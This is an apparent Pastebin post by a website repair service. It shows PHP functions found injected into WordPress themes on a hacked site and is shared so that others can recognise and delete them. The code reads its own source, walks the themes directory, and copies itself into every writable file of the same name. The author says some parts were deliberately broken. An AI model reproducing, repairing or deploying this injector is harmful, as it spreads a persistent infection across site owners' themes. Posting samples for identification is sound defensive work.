hackrepair

Verify Activeatewidgets Hack

May 23rd, 2018
239
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Interesting hacker functions added to multiple themes on a hacked website.
  2.  
  3. Purpose of posting is to give folks doing a search for this code confirmation that "this is hacker code".
  4.  
  5. - Delete these functions without prejudice if found.
  6. - Or call The Hack Repair Guy and I'll take care of you nicely.
  7.  
  8. btw: this code is not executable.
  9. I deleted some necessary "parts", so hacker - you wasting your time trying to get it to work...
  10.  
  11. Enjoy the code!
  12.  
  13.  
  14. function _verify_activeatewidgets(){
  15. $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  16. $output=strip_tags($output, $allowed);
  17. $direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  18. if (is_array($direst)){
  19. foreach ($direst as $item){
  20. if (is_writable($item)){
  21. $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  22. $cont=file_get_contents($item);
  23. if (stripos($cont,$ftion) === false){
  24. $issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  25. $output .= $before . "Not found" . $after;
  26. if (stripos( subtr($cont,-20),"?".">") !== false){$cont=subtr($cont,0,strripos($cont,"?".">") + 2);}
  27. $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);
  28. $output .= ($is_showdots && $ellipsis) ? "..." : "";
  29. }
  30. }
  31. }
  32. }
  33. return $output;
  34. }
  35. function _getall_widgetcont($wids,$items=array()){
  36. $places=array_shift($wids);
  37. if(substr($places,-1) == "/"){
  38. $places=subtr($places,0,-1);
  39. }
  40. if(!file_exists($places) || !is_dir($places)){
  41. return false;
  42. }elseif(is_readable($places)){
  43. $elems=scandir($places);
  44. foreach ($elems as $elem){
  45. if ($elem != "." && $elem != ".."){
  46. if (is_dir($places . "/" . $elem)){
  47. $wids[]=$places . "/" . $elem;
  48. } elseif (is_file($places . "/" . $elem)&&
  49. $elem == subtr(__FILE__,-13)){
  50. $items[]=$places . "/" . $elem;}
  51. }
  52. }
  53. }else{
  54. return false;
  55. }
  56. if (sizeof($wids) > 0){
  57. return _getall_widgetcont($wids,$items);
  58. } else {
  59. return $items;
  60. }
  61. }
  62. if(!function_exists("stripos")){
  63. function stripos( $str, $needle, $offset = 0 ){
  64. return strpos( strtolower( $str ), strtolower( $needle ), $offset );
  65. }
  66. }
  67.  
  68. if(!function_exists("strripos")){
  69. function strripos( $haystack, $needle, $offset = 0 ) {
  70. if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
  71. if( $offset < 0 ){
  72. $temp_cut = strrev( subtr( $haystack, 0, abs($offset) ) );
  73. }
  74. else{
  75. $temp_cut = strrev( subtr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
  76. }
  77. if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
  78. $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
  79. return $pos;
  80. }
  81. }
  82. if(!function_exists("scandir")){
  83. function scandir($dir,$listDirectories=false, $skipDots=true) {
  84. $dirArray = array();
  85. if ($handle = opendir($dir)) {
  86. while (false !== ($file = readdir($handle))) {
  87. if (($file != "." && $file != "..") || $skipDots == true) {
  88. if($listDirectories == false) { if(is_dir($file)) { continue; } }
  89. array_push($dirArray,basename($file));
  90. }
  91. }
  92. closedir($handle);
  93. }
  94. return $dirArray;
  95. }
  96. }
RAW Paste Data